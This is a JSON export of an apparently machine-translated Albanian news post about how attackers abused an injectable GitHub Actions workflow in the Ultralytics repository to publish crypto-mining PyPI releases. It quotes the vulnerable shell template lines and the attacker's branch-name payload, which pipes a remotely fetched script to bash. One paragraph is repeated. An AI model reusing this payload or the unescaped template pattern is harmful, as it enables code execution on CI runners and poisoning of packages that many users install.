{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Nj\u00eb gabim n\u00eb p\u00ebrpunuesin GitHub Actions \u00e7oi n\u00eb publikimin e versioneve t\u00eb d\u00ebmshme t\u00eb Ultralytics","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>K\u00ebrc\u00ebnuesit arrit\u00ebn t\u00eb ekzekutojn\u00eb kod me privilegje t\u00eb procesor\u00ebve GitHub Actions n\u00eb depozitarin e bibliotek\u00ebs Python Ultralytics, e cila p\u00ebrdoret p\u00ebr t\u00eb zgjidhur detyra n\u00eb vizionin kompjuterik, si\u00e7 jan\u00eb identifikimi i objekteve n\u00eb imazhe dhe segmentimi i imazheve. Pas marrjes s\u00eb qasjes n\u00eb depo, sulmuesit publikuan disa versionet e reja t\u00eb Ultralytics n\u00eb katalogun PyPI, duke p\u00ebrfshir\u00eb ndryshime t\u00eb d\u00ebmshme p\u00ebr minimin e kriptovalutave. Gjat\u00eb muajit t\u00eb fundit, biblioteka Ultralytics \u00ebsht\u00eb shkarkuar m\u00eb shum\u00eb se 6.4 milion her\u00eb nga katalogu PyPI.     <\/p>\n<p>P\u00ebr kompromitimin e depozit\u00ebs u p\u00ebrdor nj\u00eb dob\u00ebsi n\u00eb paket\u00ebn ultralytics-actions, e cila p\u00ebrdoret p\u00ebr t\u00eb aktivizuar automatikisht trajtuesit kur ndodhin veprime t\u00eb caktuara me depozit\u00ebn n\u00eb GitHub, duke p\u00ebrdorur mekanizmin GitHub Actions. N\u00eb projektin ultralytics, trajtuesi i dob\u00ebt lidhej me ngjarjen pull_request_target dhe aktivizohej me prurjen e pull-request-eve t\u00eb reja. Sidomos, p\u00ebr formatimin e kodit n\u00eb pull-request-et e d\u00ebrguara aktivizohej trajtuesi format.yml dhe ekzekutohej kodi i specifikuar n\u00eb seksionin \"run\" t\u00eb skedarit action.yml, n\u00eb t\u00eb cilin ishin komandat shell me \u0448\u0430\u0431\u043b\u043e\u043d\u0438\u0442\u0435 e z\u00ebvend\u00ebsimit:        git pull origin ${{ github.head_ref || github.ref }}    git config --global user.name \"${{ inputs.github_username }}\"    git config --global user.email \"${{ inputs.github_email }}\"      <\/p>\n<p>K\u00ebshtu, n\u00eb komandat shell pa nj\u00eb ekranuar t\u00eb duhur u vendos emri i deg\u00ebs Git, e p\u00ebrmendur n\u00eb pull-request. E r\u00ebnd\u00ebsishme \u00ebsht\u00eb se n\u00eb gusht, n\u00eb paket\u00ebn ultralytics-actions ishte korrigjoheshin nj\u00eb dob\u00ebsi e ngjashme, e lidhur me p\u00ebrdorimin e nj\u00eb vlera t\u00eb jashtme n\u00eb funksionin echo:      echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\"      <\/p>\n<p>P\u00ebr t\u00eb organizuar ekzekutimin e kodit t\u00eb tyre n\u00eb kontekstin e procesor\u00ebve GitHub Actions, sulmuesit d\u00ebrguan nj\u00eb k\u00ebrkes\u00eb pull n\u00eb depozitarin ultralytics, duke e vendosur si em\u00ebr t\u00eb deg\u00ebs:          openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash)      <\/p>\n<p>P\u00ebr rrjedhoj\u00eb, kur arriti nj\u00eb pull-request, n\u00eb kod u vendos vargu i caktuar nga sulmuesit \"$(\u2026)\" q\u00eb, gjat\u00eb aktivizimit t\u00eb m\u00ebvonsh\u00ebm t\u00eb trajtuesit, \u00e7oi n\u00eb ekzekutimin e kodit \"curl -sSfL raw.githubusercontent.com\/...\/file.sh | bash\".     <center><img decoding=\"async\" alt=\"Nj\u00eb gabim n\u00eb p\u00ebrpunuesin GitHub Actions \u00e7oi n\u00eb publikimin e versioneve t\u00eb d\u00ebmshme t\u00eb Ultralytics\" src=\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\" style=\"display:block;margin: 0 auto;\" \/><\/center>    <\/p>\n<p>Ekzekutimi i kodit n\u00eb kontekstin e GitHub Actions mund t\u00eb p\u00ebrdoret p\u00ebr t\u00eb kapur tokenin e qasjes n\u00eb depo dhe t\u00eb dh\u00ebna t\u00eb tjera t\u00eb ndieshme. Si\u00e7 fitoi sulmuesit mund\u00ebsin\u00eb p\u00ebr t\u00eb formuar nj\u00eb version, pasi arrit\u00ebn t\u00eb ekzekutojn\u00eb kodin e tyre n\u00eb GitHub Actions, ende nuk \u00ebsht\u00eb e qart\u00eb, supozohet se kjo ndodhi fal\u00eb ndryshimit t\u00eb procesorit publish.yml (sulmuesit hoq\u00ebn kontrollin e llogaris\u00eb nga e cila lejohet publikimi i versioneve n\u00eb PyPI) dhe p\u00ebrdorimin e teknik\u00ebs s\u00eb helmimit t\u00eb caches nd\u00ebrtuese t\u00eb GitHub Actions p\u00ebr t\u00eb futur t\u00eb dh\u00ebnat e tyre n\u00eb version.           <\/p>\n<p>Versioni i par\u00eb i d\u00ebmsh\u00ebm Ultralytics 8.3.41 u publikua nga sulmuesit n\u00eb katalogun PyPI m\u00eb 4 dhjetor n\u00eb 23:51 (MSK) dhe u hoq m\u00eb 12:15 t\u00eb dit\u00ebs tjet\u00ebr. N\u00eb 15:47 u publikua nj\u00eb version tjet\u00ebr 8.3.42, i cili u hoq n\u00eb 16:47. K\u00ebshtu, versionet e d\u00ebmshme ishin t\u00eb disponueshme p\u00ebr shkarkim p\u00ebr rreth 13 or\u00eb (n\u00eb nj\u00eb dit\u00eb n\u00eb PyPI regjistrohen rreth 250,000 shkarkime t\u00eb bibliotek\u00ebs ultralytics). Brenda l\u00ebshimeve 8.3.41 dhe 8.3.42 kishte kod q\u00eb realizonte shkarkimin nga komponenti i jasht\u00ebm XMRig p\u00ebr minimin e kriptovalut\u00ebs. <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/sq\/server\/dts-los-angeles\/\"   title=\"server\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"3954\">server<\/a> Zhvilluesit e projektit e pat\u00ebn shp\u00ebtuar problemin dhe formuluan rregullim versionet 8.3.43 dhe 8.3.44, por dy dit\u00eb m\u00eb von\u00eb u krye nj\u00eb tjet\u00ebr sulm, gjat\u00eb t\u00eb cilit sulmuesit publikuan sot n\u00eb 04:41 dhe 05:27 (MSK) dy versione t\u00eb tjera t\u00eb d\u00ebmshme \u2014 8.3.45 dhe 8.3.46, q\u00eb p\u00ebrmbanin kod tjet\u00ebr p\u00ebr minimin. Deri n\u00eb p\u00ebrfundimin e hetimeve, p\u00ebrdoruesve u rekomandohet q\u00eb t\u00eb presin me instalimin e versioneve t\u00eb reja dhe t\u00eb stabilizojn\u00eb var\u00ebsin\u00eb e versionit 8.3.44.    <\/p>\n<p>Zhvilluesit e projektit e zgjidh\u00ebn problemin dhe formuluan l\u00ebshime korrektuese 8.3.43 dhe 8.3.44, por pas dy dit\u00ebsh u krye nj\u00eb sulm tjet\u00ebr, gjat\u00eb t\u00eb cilit sulmuesit publikuan sot n\u00eb 04:41 dhe 05:27 (MSK) dy l\u00ebshime t\u00eb tjera malinje \u2014 8.3.45 dhe 8.3.46, q\u00eb p\u00ebrfshinin kod tjet\u00ebr p\u00ebr minimin. Deri n\u00eb p\u00ebrfundimin e hetimit, p\u00ebrdoruesve u rekomandohet t\u00eb presin me instalimin e versioneve t\u00eb reja dhe t\u00eb ngurt\u00ebsojn\u00eb n\u00eb var\u00ebsi l\u00ebshimin 8.3.44.<br \/>\n<br \/>Burimi: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=62365\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 GitHub Actions \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 Python-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Ultralytics, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0433\u043e \u0437\u0440\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u0445 \u0438 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 PyPI \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u043e\u0432\u044b\u0445 \u0440\u0435\u043b\u0438\u0437\u043e\u0432 Ultralytics, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442. \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043c\u0435\u0441\u044f\u0446 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 Ultralytics \u0431\u044b\u043b\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u0430 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":120891,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-120890","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.0.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 GitHub Actions \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 Python-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Ultralytics, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0433\u043e \u0437\u0440\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u0445.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/sq\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.0.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"sq_AL\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 GitHub Actions \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0440\u0435\u043b\u0438\u0437\u043e\u0432 Ultralytics | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 GitHub Actions \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 Python-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Ultralytics, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0433\u043e \u0437\u0440\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u0445.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/sq\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2024-12-07T13:46:01+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2024-12-07T13:46:01+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Gabimi n\u00eb procesorin GitHub Actions \u00e7oi n\u00eb publikimin e versioneve t\u00eb d\u00ebmshme Ultralytics | ProHoster","description":"Kriminel\u00ebt arrit\u00ebn t\u00eb ekzekutojn\u00eb kodin me t\u00eb drejtat e nj\u00eb p\u00ebrpunuesi t\u00eb GitHub Actions n\u00eb repo-n e bibliotek\u00ebs Python Ultralytics, e cila p\u00ebrdoret p\u00ebr zgjidhjen e detyrave t\u00eb vizionit kompjuterik, si p\u00ebr shembull identifikimin e objekteve n\u00eb imazhe.","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 GitHub Actions \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0440\u0435\u043b\u0438\u0437\u043e\u0432 Ultralytics | ProHoster","og:description":"\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043c\u043e\u0433\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 GitHub Actions \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 Python-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Ultralytics, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0433\u043e \u0437\u0440\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u0445.","og:url":"https:\/\/prohoster.info\/sq\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2024-12-07T13:46:01+00:00","article:modified_time":"2024-12-07T13:46:01+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"120890","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-02-22 15:48:05","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 08:42:19","updated":"2026-02-22 15:48:05","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/120890","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=120890"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/120890\/revisions"}],"predecessor-version":[{"id":162483,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/120890\/revisions\/162483"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media\/120891"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=120890"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=120890"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=120890"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}